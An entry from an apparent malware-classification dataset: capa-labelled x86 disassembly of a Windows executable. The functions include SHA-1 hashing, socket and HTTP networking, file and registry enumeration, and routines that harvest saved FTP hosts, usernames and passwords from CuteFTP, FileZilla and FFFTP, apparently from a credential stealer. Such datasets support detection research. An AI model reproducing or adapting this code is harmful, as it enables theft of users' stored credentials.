joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403965
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x41b2e4]
mov edx, dword [ecx*8 + 0x41b2e8]
bswap eax
bswap edx
mov dword [ecx*8 + 0x41b2e4], eax
mov dword [ecx*8 + 0x41b2e8], edx
inc ecx
jne 0x403970
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x41b3d8]
mov edx, dword [ecx*4 + 0x41b3c4]
xor eax, dword [ecx*4 + 0x41b3ac]
xor edx, dword [ecx*4 + 0x41b3a4]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x41b3e4], eax
inc ecx
jne 0x403998
mov ebx, dword [0x41b290]
mov esi, dword [0x41b294]
mov edi, dword [0x41b298]
push dword [0x41b29c]
pop dword [ebp - 4]
push dword [0x41b2a0]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x41b2f4]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4039eb
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x41b344]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403a24
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x41b394]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403a59
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x41b3e4]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403a93
add dword [0x41b290], ebx
add dword [0x41b294], esi
add dword [0x41b298], edi
mov eax, dword [ebp - 4]
add dword [0x41b29c], eax
mov eax, dword [ebp - 8]
add dword [0x41b2a0], eax
leave
ret

Function at 0x403ae9
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x403b1f
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x403b0c
mov eax, 0xffffffff
jmp 0x403b1f
mov eax, dword [eax + 0xc]
nop
and eax, eax
jne 0x403b1b
mov eax, 0xffffffff
jmp 0x403b1f
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x403b23
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x403b3e
jmp 0x403ba0
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.00401924
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x403b65
mov eax, dword [ebp + 0xc]
jmp 0x403b84
cmp dword [ebp + 0xc], 0
jne 0x403b75
cmp dword [ebp + 8], 0
jne 0x403b75
jmp 0x403b98
push dword [ebp + 8]
call fcn.00403ae9
cmp eax, 0xffffffff
jne 0x403b84
jmp 0x403b98
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x403ba0
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403ba7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x403bbd
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x403beb
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403be9
mov ebx, 1
jmp 0x403beb
jmp 0x403bc5
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x403bf3
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x403c46
or eax, eax
jne 0x403c4a
xor eax, eax
jmp 0x403c4f
mov eax, 1
leave
ret 8

Function at 0x403c53
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.00403bf3
and eax, eax
je 0x403cbe
push 0x5a
push dword [ebp + 8]
call fcn.00403bf3
and eax, eax
jne 0x403c7a
jmp 0x403cbe
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x403cbe
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x403c98
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401091
cmp eax, dword [ebp + 0x10]
jb 0x403cba
jmp 0x403cbe
test ebx, ebx
je 0x403c6a
mov eax, ebx
pop ebx
leave
ret 0x10
Function at 0x403cc5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.00403bf3
and eax, eax
je 0x403d46
push 0x5a
push dword [ebp + 8]
call fcn.00403bf3
and eax, eax
jne 0x403cef
jmp 0x403d46
cmp dword [ebp + 0x10], 0x800
jbe 0x403cff
mov eax, 0x800
jmp 0x403d02
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x403d1a
jmp 0x403d46
jne 0x403d1f
inc ebx
jmp 0x403d46
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403d42
inc ebx
jmp 0x403d46
test ebx, ebx
je 0x403cdf
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x403fa8
Capabilities:
Parse url
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push edi
push ebx
sub ebx, ebx
push 0x2000
call fcn.0040190d
mov dword [ebp - 4], eax
push 0x2000
call fcn.0040190d
mov dword [ebp - 0x4c], eax
push 0x2000
call fcn.0040190d
mov dword [ebp - 0x44], eax
push 0x2000
call fcn.0040190d
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0x2000
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
push dword [ebp - 4]
pop dword [ebp - 0x30]
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x40]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
and eax, eax
je 0x404037
cmp dword [ebp - 0x30], 0
jne 0x40403c
jmp 0x404140
mov dword [ebp - 0x50], 0x1fff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x40]
push eax
call sub.wininet.dll_InternetCreateUrlA
and eax, eax
jne 0x404061
jmp 0x404140
mov eax, dword [ebp - 0x4c]
mov byte [eax], 0
cld
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
lea eax, [ebp - 0x40]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
and eax, eax
je 0x4040a9
cmp dword [ebp - 0x30], 0
jne 0x4040ae
jmp 0x404140
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x54]
push 0
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
js 0x4040db
push dword [ebp - 0x54]
push dword [ebp - 4]
push dword [ebp - 0x4c]
push 0x403f20
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
jmp 0x4040f6
push str.Mozilla_4.0__compatible__MSIE_8.0__Windows_NT_5.1__Trident_5.0_
push dword [ebp - 4]
push dword [ebp - 0x4c]
push 0x403f20
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x28]
push eax
push 0
push dword [ebp - 4]
call fcn.00403b23
and eax, eax
jne 0x40410b
jmp 0x404140
mov dword [ebp - 0x48], eax
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x48]
call fcn.00403ba7
and eax, eax
jne 0x404128
jmp 0x404138
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x48]
call fcn.00403d9b
mov ebx, eax
push dword [ebp - 0x48]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x4c]
call fcn.004018f6
push dword [ebp - 0x44]
call fcn.004018f6
push dword [ebp - 4]
call fcn.004018f6
push dword [ebp - 0x54]
call fcn.004018f6
mov eax, ebx
pop ebx
pop edi
leave
ret 0xc

Function at 0x4041b2
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x2d
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x404487
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
leave
ret

Function at 0x404632
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x404651
cmp byte [eax], 0
jne 0x404656
jmp 0x4047ce
push dword [ebp + 0xc]
call fcn.004025f8
and eax, eax
jne 0x404671
push str..
push dword [ebp + 0xc]
call fcn.00401e36
jmp 0x40467e
push 0x4168e3
push dword [ebp + 0xc]
call fcn.00401e36
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.00401924
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4047ce
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x404749
lea eax, [edx + 0x2c]
push eax
push 0x4168d9
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x4046dd
jmp 0x4047a9
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4168db
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x4046fa
jmp 0x4047a9
push dword [ebp + 0xc]
call fcn.004025f8
and eax, eax
jne 0x404715
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
jmp 0x40471f
push 0
push dword [ebp + 0xc]
call fcn.00401e36
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e8a
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404632
call fcn.004018f6
jmp 0x4047a9
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x40475a
jmp 0x40476c
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4047a9
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
cmp dword [ebp + 0x18], 0
je 0x404798
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x4047a4
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x4046b4
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018f6
leave
ret 0x14
Function at 0x404b4d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x404c57
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
and eax, eax
je 0x404baa
jmp 0x404c4f
cmp dword [ebp - 0x814], 1
je 0x404bc1
cmp dword [ebp - 0x814], 7
je 0x404bc1
inc dword [ebp - 8]
jmp 0x404b77
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x404c47
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x404c47
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.004015a7
cmp dword [ebp - 0x814], 1
jne 0x404c1e
push 0
push dword [ebp + 8]
call fcn.004015a7
jmp 0x404c28
push 1
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x404b77
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x404c5b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x404dd1
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x404cb3
jmp 0x404dc9
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x416a16
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x416a1f
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x416a28
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404d87
cmp dword [ebp - 0x814], 0
je 0x404d87
cmp dword [ebp - 0x818], 0
je 0x404d87
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00404c5b
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x404c85
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x4051c8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x4051e7
cmp byte [eax], 0
jne 0x4051ec
jmp 0x405345
push dword [ebp + 0xc]
call fcn.004025f8
and eax, eax
jne 0x405207
push str..
push dword [ebp + 0xc]
call fcn.00401e36
jmp 0x405214
push 0x4168e3
push dword [ebp + 0xc]
call fcn.00401e36
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.00401924
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x405345
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x4052bd
lea eax, [edx + 0x2c]
push eax
push 0x4168d9
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x40526f
jmp 0x405320
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4168db
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x40528c
jmp 0x405320
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e8a
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004051c8
call fcn.004018f6
jmp 0x405320
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x416acc
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x405320
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x405308
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x40530d
mov eax, 1
pop edx
and eax, eax
je 0x40531b
push edx
push dword [ebp + 8]
call fcn.004051b1
call fcn.004018f6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x40524a
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018f6
leave
ret 0xc
Function at 0x405538
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x405557
cmp byte [eax], 0
jne 0x40555c
jmp 0x405660
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401e36
push eax
push eax
push dword [ebp + 8]
call fcn.004054d7
call fcn.004018f6
push str..
push dword [ebp + 0xc]
call fcn.00401e36
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.00401924
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x405660
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x40563b
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4168d9
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x4055e1
jmp 0x40563b
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4168db
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x4055fb
jmp 0x40563b
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push dword [ebp + 0x10]
push eax
call fcn.00401e8a
push eax
push eax
push dword [ebp + 8]
call fcn.004054d7
call fcn.004018f6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x4055b9
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018f6
leave
ret 0xc

Function at 0x40566f
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401eef
mov dword [ebp - 4], eax
and eax, eax
je 0x405714
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401e36
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00405538
call fcn.004018f6
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401e36
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00405538
call fcn.004018f6
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401e36
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00405538
call fcn.004018f6
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401e36
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00405538
call fcn.004018f6
push dword [ebp - 4]
call fcn.004018f6
leave
ret 8
Function at 0x405d22
Capabilities:
Gather filezilla information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push 0xbeef0013
push str.Server_Type
push 0x416dd2
push 0x416dcd
push 0x416dc3
push 0x416dbe
push 0x416dc8
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405bc2
push 0xbeef0013
push 0x416e1e
push 0x416e19
push str.Server.Port
push str.Server.User
push str.Server.Host
push str.Server.Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405bc2
push 0xbeef0014
push str.Last_Server_Type
push str.Last_Server_Path
push str.Last_Server_Port
push str.Last_Server_User
push str.Last_Server_Host
push str.Last_Server_Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405bc2
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x405e45
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x405dfd
jmp 0x405e3d
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00405d22
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x405dd2
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x4062d8
Capabilities:
Gather ffftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4064d3
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x406330
jmp 0x4064cb
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x417084
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push str.HostAdrs
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x41708d
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDir
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x4170a9
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x40640a
cmp dword [ebp - 0x828], 4
jne 0x40640a
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004018f6
jmp 0x40641e
and eax, eax
je 0x406414
push eax
call fcn.004018f6
mov dword [ebp - 0x824], 0x15
cmp dword [ebp - 0x81c], 0
je 0x40648c
cmp dword [ebp - 0x814], 0
je 0x40648c
cmp dword [ebp - 0x818], 0
je 0x40648c
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x406302
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8